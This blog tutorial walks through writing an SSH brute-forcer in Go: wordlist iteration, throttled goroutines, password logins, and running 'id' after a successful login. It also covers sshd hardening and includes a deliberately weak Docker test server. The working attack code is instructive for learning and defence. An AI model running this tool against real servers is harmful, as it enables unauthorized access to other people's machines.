Reasoning
I’ll just start this post with stating that I’m not doing this with malicious intents, nor am I going to use this for other purposes than learning, or advise using this on servers others than your own. That being said, let’s get down to business.
Why an SSH brute-forcer?
Because too many people are still using password authentication with weak passwords. There are still many servers with sshd open with the default port exposed to internet, using accounts with weak passwords. Have a RaspberryPi? Put it on the Internet! Just take a look over Shodan’s raspbian with port 22 query. It’s crazy. We’re kinda fighting fire with fire.
Why Go?
Because it’s awesome, it’s static typed, it’s fast, has a big and very useful default library… did I mention it’s awesome? And also because I’m on my journey learning Go, and this way I can learn how to use channels, ssh connections, and so on.
How can I protect against this?
For a start, edit /etc/ssh/sshd_config to disable password authentication and root login. A basic setup means:
- Changing the default port - many brute-forcers do not scan every port on the machine just to find an SSH server, they just check for port 22.
- Disable root login - if, by any chance, you need to be able to login as root remotely, use public key authentication.
- Disable password authentication - I can’t stress this enough; just do it. Everyone can and should use public key authentication instead of password authentication. A passphrase is a big plus.
Something to start your journey with:
Port 2244
PermitRootLogin no
#PermitRootLogin without-password #if you need pubkey root login
PubkeyAuthentication yes
PermitEmptyPasswords no
PasswordAuthentication no
This post assumes basic Go knowledge, and is not meant towards complete newbie gophers. I am a rookie myself, and currently trying to improve this.
For testing, I’ve included a Dockerfile along the project for building a simple testing environment, but more on this at the end.
Building the brute-forcer
Let’s start with the easy part.
Requirements:
- A host and a port
- A file containing the users
- A file containing the passwords
Steps:
- Validate the host - it’s useless hitting a dead host
- Read the users & the passwords and iterate through them
- Try to connect to the host with each user:pass combination
To check if the host is up and we’re hitting the right port, we’ll try to connect to the host & port using net.Dial()
. Here, *host
is a pointer to a string containing the address and the port of our host. For example, 127.0.0.1:22
or sub.victim.tld:2233
. This is pretty forward and self explanatory.
func dialHost() (err error) {
conn, err := net.Dial("tcp", *host)
if err != nil {
return
}
conn.Close()
return
}
Reading the files line by line is done using bufio.NewScanner()
, by feeding it an io.Reader
, specifically our open file. This way, we don’t have to iterate through the file ourselves, split by newlines or do black magic.
func readFile(f string) (data []string, err error) {
b, err := os.Open(f)
if err != nil {
return
}
defer b.Close()
scanner := bufio.NewScanner(b)
for scanner.Scan() {
data = append(data, scanner.Text())
}
return
}
All we need to do now is apply brute force. But, a simple for
throughout the users and passwords won’t do it.
In order to be fast, we don’t need to wait for each connection to end, but we will spawn goroutines. A goroutine is a lightweight thread managed by the Go runtime. Even so, we don’t want to spawn a goroutine for each of the user:pass combination we have above, for it will eat too much memory, and lose connections. For this, we’ll try to throttle the goroutines, using a channel.
const LIMIT = 8
var throttler = make(chan int, LIMIT)
This way we’ll make a buffered channel. Throughout testing, I’ve found that the best length for the throttler channel is between 8-12, otherwise we lose connections. This may vary from machine to machine, from network to network. In case you’re not getting the desired results, lower or raise this number.
Until now, our for
looks like this:
users, _ := readFile(*userList)
passwords, _ := readFile(*passList)
// Always check for errors!
var wg sync.WaitGroup
for _, user := range users {
for _, pass := range passwords {
throttler <- 0
wg.Add(1)
go connect(&wg, outfile, user, pass)
}
}
wg.Wait()
What we’re doing here is:
- We create a
sync.WaitGroup
to wait for our goroutines - We iterate through the users and passwords slices
- We try to connect to the host
3.1. Add a value in the buffered channel - more on this later
3.2. Add one task in the
WaitGroup
3.3. Spawn the goroutine - We tell the
WaitGroup
to wait for all the tasks
To connect to a host through SSH using password based authentication, we will set up a simple ssh.ClientConfig{}
and use ssh.Dial()
to try to connect.
sshConfig := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{
ssh.Password(pass),
},
Timeout: 5 * time.Second,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
sshConfig.SetDefaults()
c, err := ssh.Dial("tcp", *host, sshConfig)
if err != nil {
<-throttler
return
}
defer c.Close()
fmt.Printf("Got a user! %s:%s\n", user, pass)
<-throttler
How does this work:
- In the
for
, before spawning the goroutine, we insert a value into the buffered channel and add a task in the WaitGroup:throttler <- 0
andwg.Add(1)
. We don’t need to worry about the value inserted in the channel, as we only care about filling it. Sends to a buffered channel block only when the buffer is full, and receives block when the buffer is empty. This way, whenever we hit theLIMIT
, Go knows to block the channel until there’s an open spot. - In the goroutine function we
defer wg.Done()
to tell the WaitGroup we’re done with a task, and we’re pulling out a value from the buffered channel:<-throttler
. Doing this tells Go that we cleared one spot in the buffered channel.
What if we want to send a command, to make sure we didn’t hit a honeypot or just check the output? Doing this is very easy once we have a connection open - we only have to create a new ssh.Session{}
in order to .Run()
our command there. Not being a full SSH client is better in this case, because we skip the part where we need to allocate a tty
to the session.
session, err := c.NewSession()
if err == nil {
defer session.Close()
var s_out bytes.Buffer
session.Stdout = &s_out
if err = session.Run("id"); err == nil {
fmt.Printf("\t%s\n", s_out.String())
}
}
For example, we’re creating a new session in order to run id
, utility that returns the user’s identity.
Our final output should be, more or less, like this:
2017/06/29 11:26:16 [Found] Got it! root:test
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
And that’s it. An operating SSH brute-forcer written in Go. Not very pretty, can be optimised, but working nonetheless.
The complete code can be found over Github: https://github.com/vlad-s/gofindssh. You can get it via cloning the repository, or running go get -u github.com/vlad-s/gofindssh
.
Docker testing image
Along the code, there’s also a Dockerfile which builds an Alpine Linux SSH server, based on openssh-server
, which permits root login and enables password authentication. This is NOT made for real usage.
More, it adds two additional users, and changes all the passwords to simple ones. It verbosely prints everything to stdout/stderr to check for successful/failed logins. The users are: root:test
, mysql:mysql
, and oracle:administrator
.
You can either build the docker image yourself, or pull the image from Docker Hub.
cd $GOPATH/src/github.com/vlad-s/gofindssh && docker build .
# or
docker pull 0x766c6164/alpine-sshd
When running the image, don’t forget to expose the SSH port (default running on 22).
docker run --rm -ti -p 1337:22 0x766c6164/alpine-sshd